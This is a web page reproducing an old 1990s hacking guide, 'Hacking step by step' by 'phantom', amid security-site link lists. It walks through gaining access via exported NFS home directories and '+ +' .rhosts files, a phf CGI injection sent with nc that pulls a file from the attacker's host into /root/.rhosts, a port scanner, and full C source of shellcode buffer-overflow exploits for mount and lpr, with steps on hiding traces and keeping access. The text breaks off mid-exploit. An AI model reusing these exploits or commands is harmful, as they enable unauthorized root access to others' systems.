Google
Web GovernmentSecurity.org
hacking
compliance articles
Upgrade Backup Exec
information security consultant

Database Security (Common-sense Principles)
Places that viruses and trojans hide on start up
Step-by-Step Guide to Using the Security Configuration Tool Set
Improving the Security of Your Site by Breaking Into it
Domain Name Robbery
XDCC - An .EDU Admin's Nightmare
Database Security
Database Security
Is Database Security an Oxymoron?
Database security: protecting sensitive and critical information
The database security blanket
Database security in your Web-enabled apps
Making Your Network Safe for Databases
SQL Injection: Modes of Attack, Defence, and Why It Matters
Database Security in High Risk Environments
Linksys Router Information (A collection)
Common Ports
Protection of the Administrator Account in the Offline SAM
Windows 2000 Security
The dangers of ftp conversions on misconfigured systems
Win98.BlackBat
AnnaKournikova worm decrypted
C/C++ made easy with GoGooSE 1.0
UNIX Bourne Shell Programming
BATCH ProgramminG
Assembly for nerds using linux
THE LATEST IN DENIAL OF SERVICE ATTACKS: "SMURFING"
The Ingredients to ARP Poison
Outlook 2002: can't send .exe file with Email
Windows 9x/Me Security and System Restrictions
Exploiting The IPC Share
Local Windows hacking
Windows Cryptic Error Messages
Windows NT Registry Tutorial
catch a macro virus
Protecting Files with Windows NTXP
Microsoft Baseline Security Analyzer V1.1
A Beginners Guide To Wireless Security
Default Logins and Passwords for Networked Devices
How To Eliminate The Ten Most Critical Internet Security Threats
About computer crime
System Backdoor Information
System Backdoors Explained
Introduction to Buffer Overflow
Donald Pipkin's Security Tips for the Week of December 23rd
Getting IP data from numerous sources
Rainbow Series Library [The One The Only]
Honeypots (Definitions and Value of Honeypots)
General Attack Descriptions
Wireless Taping
CYBERTERRORISM
Security from a different angle
 

 

Hacking step by step.
By phantom

                                                 User's guide

                                          __________________________

 

Well, howdi folks... I guess you are all wondering who's this guy (me)

that's trying to show you a bit of everything... ?

Well, I ain't telling you anything of that...

Copyright, and other stuff like this (below).

 

Copyright and stuff...

______________________

 

If you feel offended by this subject (hacking) or you think that you could

do better, don't read the below information...

This file is for educational purposes ONLY...;)

I ain't responsible for any damages you made after reading this...(I'm very

serious...)

So this can be copied, but not modified (send me the changes, and if they

are good, I'll include them ).

Don't read it, 'cuz it might be illegal.

I warned you...

If you would like to continue, press <PgDown>.

 

 

 

                                          Intro: Hacking step by step.

_________________________________________________________________________________

 

Well, this ain't exactely for begginers, but it'll have to do.

What all hackers has to know is that there are 4 steps in hacking...

 

Step 1: Getting access to site.

Step 2: Hacking r00t.

Step 3: Covering your traces.

Step 4: Keeping that account.

 

Ok. In the next pages we'll see exactely what I ment.

 

Step 1: Getting access.

_______

 

Well folks, there are several methods to get access to a site.

I'll try to explain the most used ones.

The first thing I do is see if the system has an export list:

 

mysite:~>/usr/sbin/showmount -e victim.site.com

RPC: Program not registered.

 

If it gives a message like this one, then it's time to search another way

in.

What I was trying to do was to exploit an old security problem by most

SUN OS's that could allow an remote attacker to add a .rhosts to a users

home directory... (That was possible if the site had mounted their home

directory.

Let's see what happens...

 

 

mysite:~>/usr/sbin/showmount -e victim1.site.com

/usr   victim2.site.com

/home (everyone)

/cdrom (everyone)

mysite:~>mkdir /tmp/mount

mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/

mysite:~>ls -sal /tmp/mount

   total 9

   1 drwxrwxr-x    8 root      root          1024 Jul   4 20:34 ./

   1 drwxr-xr-x   19 root      root          1024 Oct   8 13:42 ../

   1 drwxr-xr-x    3 at1       users         1024 Jun 22 19:18 at1/

   1 dr-xr-xr-x    8 ftp       wheel         1024 Jul 12 14:20 ftp/

   1 drwxrx-r-x    3 john      100           1024 Jul   6 13:42 john/

   1 drwxrx-r-x    3 139       100           1024 Sep 15 12:24 paul/

   1 -rw-------    1 root      root            242 Mar   9   1997 sudoers

   1 drwx------    3 test      100           1024 Oct   8 21:05 test/

   1 drwx------   15 102       100           1024 Oct 20 18:57 rapper/

 

Well, we wanna hack into rapper's home.

mysite:~>id

uid=0 euid=0

mysite:~>whoami

root

mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd

 

We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history   and you might

forget it on the remote server...

 

mysite:~>su - rapper

Welcome to rapper's user.

mysite:~>ls -lsa /tmp/mount/

   total 9

   1 drwxrwxr-x    8 root      root          1024 Jul   4 20:34 ./

   1 drwxr-xr-x   19 root      root          1024 Oct   8 13:42 ../

   1 drwxr-xr-x    3 at1       users         1024 Jun 22 19:18 at1/

   1 dr-xr-xr-x    8 ftp       wheel         1024 Jul 12 14:20 ftp/

   1 drwxrx-r-x    3 john      100           1024 Jul   6 13:42 john/

   1 drwxrx-r-x    3 139       100           1024 Sep 15 12:24 paul/

   1 -rw-------    1 root      root           242 Mar   9   1997 sudoers

   1 drwx------    3 test      100           1024 Oct   8 21:05 test/

   1 drwx------   15 rapper    daemon        1024 Oct 20 18:57 rapper/

 

So we own this guy's home directory...

 

mysite:~>echo "+ +" > rapper/.rhosts

mysite:~>cd /

mysite:~>rlogin victim1.site.com

Welcome to Victim.Site.Com.

SunOs ver....(crap).

victim1:~$

 

This is the first method...

Another method could be to see if the site has an open 80 port. That would

mean that the site has a web page.

(And that's very bad, 'cuz it usually it's vulnerable).

Below I include the source of a scanner that helped me when NMAP wasn't written.

(Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor).

NMAP is a scanner that does even stealth scanning, so lots of systems won't

record it.

 

/* -*-C-*- tcpprobe.c */

/* tcpprobe - report on which tcp ports accept connections */

/* IO ERROR, error@axs.net, Sep 15, 1995 */

 

#include <stdio.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <errno.h>

#include <netdb.h>

#include <signal.h>

 

int main(int argc, char **argv)

{

  int probeport = 0;

  struct hostent *host;

  int err, i, net;

  struct sockaddr_in sa;

 

  if (argc != 2) {

    printf("Usage: %s hostname\n", argv[0]);

    exit(1);

  }

 

  for (i = 1; i < 1024; i++) {

    strncpy((char *)&sa, "", sizeof sa);

    sa.sin_family = AF_INET;

    if (isdigit(*argv[1]))

      sa.sin_addr.s_addr = inet_addr(argv[1]);

    else if ((host = gethostbyname(argv[1])) != 0)

      strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);

    else {

      herror(argv[1]);

      exit(2);

    }

    sa.sin_port = htons(i);

    net = socket(AF_INET, SOCK_STREAM, 0);

    if (net < 0) {

      perror("\nsocket");

      exit(2);

    }

    err = connect(net, (struct sockaddr *) &sa, sizeof sa);

    if (err < 0) {

      printf("%s %-5d %s\r", argv[1], i, strerror(errno));

      fflush(stdout);

    } else {

      printf("%s %-5d accepted.                                \n", argv[1], i);

      if (shutdown(net, 2) < 0) {

              perror("\nshutdown");

              exit(2);

      }

    }

    close(net);

  }

  printf("                                                                  \r");

  fflush(stdout);

  return (0);

}

 

Well, now be very carefull with the below exploits, because they usually get

logged.

Besides, if you really wanna get a source file from /cgi-bin/ use this

sintax : lynx http://www.victim1.com//cgi-bin/finger

If you don't wanna do that, then do a :

 

mysite:~>echo "+ +" > /tmp/rhosts

 

mysite:~>echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+

/root/.rhosts" | nc -v - 20 victim1.site.com 80

 

then

mysite:~>rlogin -l root victim1.site.com

Welcome to Victim1.Site.Com.

victim1:~#

 

Or, maybe, just try to find out usernames and passwords...

The usual users are "test", "guest", and maybe the owner of the site...

I usually don't do such things, but you can...

 

Or if the site is really old, use that (quote site exec) old bug for

wu.ftpd.

There are   a lot of other exploits, like the remote exploits (innd, imap2,

pop3, etc...) that you can find at rootshell.connectnet.com or at

dhp.com/~fyodor.

 

Enough about this topic. (besides, if you can finger the site, you can

figgure out usernames and maybe by guessing passwords (sigh!) you could get

access to the site).

 

 

Step 2: Hacking r00t.

______

 

First you have to find the system it's running...

a). LINUX

ALL versions:

A big bug for all linux versions is mount/umount and (maybe) lpr.

 

/* Mount Exploit for Linux, Jul 30 1996

 

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::

:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::

::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::

::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::

::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::

::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::

::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::

::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::

:::::::...........:::...........:::...........::.......:......:.......::::::

:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::

 

Discovered and Coded by Bloodmask & Vio

Covin Security 1996

*/

 

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <sys/stat.h>

 

#define PATH_MOUNT "/bin/mount"

#define BUFFER_SIZE 1024

#define DEFAULT_OFFSET 50

 

u_long get_esp()

{

  __asm__("movl %esp, %eax");

 

}

 

main(int argc, char **argv)

{

  u_char execshell[] =

   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"

   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"

   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

 

   char *buff = NULL;

   unsigned long *addr_ptr = NULL;

   char *ptr = NULL;

 

   int i;

   int ofs = DEFAULT_OFFSET;

 

   buff = malloc(4096);

   if(!buff)

   {

      printf("can't allocate memory\n");

      exit(0);

   }

   ptr = buff;

 

   /* fill start of buffer with nops */

 

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

   ptr += BUFFER_SIZE-strlen(execshell);

 

   /* stick asm code into the buffer */

 

   for(i=0;i < strlen(execshell);i++)

      *(ptr++) = execshell[i];

 

   addr_ptr = (long *)ptr;

   for(i=0;i < (8/4);i++)

      *(addr_ptr++) = get_esp() + ofs;

   ptr = (char *)addr_ptr;

   *ptr = 0;

 

   (void)alarm((u_int)0);

   printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");

   execl(PATH_MOUNT, "mount", buff, NULL);

}

 

/*LPR exploit:I don't know the author...*/

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

#define DEFAULT_OFFSET           50

#define BUFFER_SIZE              1023

 

long get_esp(void)

{

   __asm__("movl %esp,%eax\n");

}

 

void main()

{

   char *buff = NULL;

   unsigned long *addr_ptr = NULL;

   char *ptr = NULL;

 

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"

                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"

                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"

                        "\xd7\xff\xff\xff/bin/sh";

   int i;

 

   buff = malloc(4096);

   if(!buff)

   {

      printf("can't allocate memory\n");

      exit(0);

   }

   ptr = buff;

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));

   ptr += BUFFER_SIZE-strlen(execshell);

   for(i=0;i < strlen(execshell);i++)

      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;

   for(i=0;i<2;i++)

      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;

   ptr = (char *)addr_ptr;

    *ptr = 0;

   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);

}

 

 

b.) Version's 1.2.* to 1.3.2

NLSPATH env. variable exploit:

 

/* It's really annoying for users and good for me...

AT exploit gives only uid=0 and euid=your_usual_euid.

*/

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <fcntl.h>

#include <sys/stat.h>

 

#define path "/usr/bin/at"

#define BUFFER_SIZE 1024

#d


  Security Forum & Discussion Topics
 
Help This Newbie
VB Grids
Trick Windows Security Center?
firefox.bat
I need to find the password :(
osql syntax error
Microsoft readies four critical patches
Ouch! Security Pros Worst Mistakes
VirusTotal - Scan With 35 AV Engines
Schneier Agrees: Security ROI is "Mostly Bunk"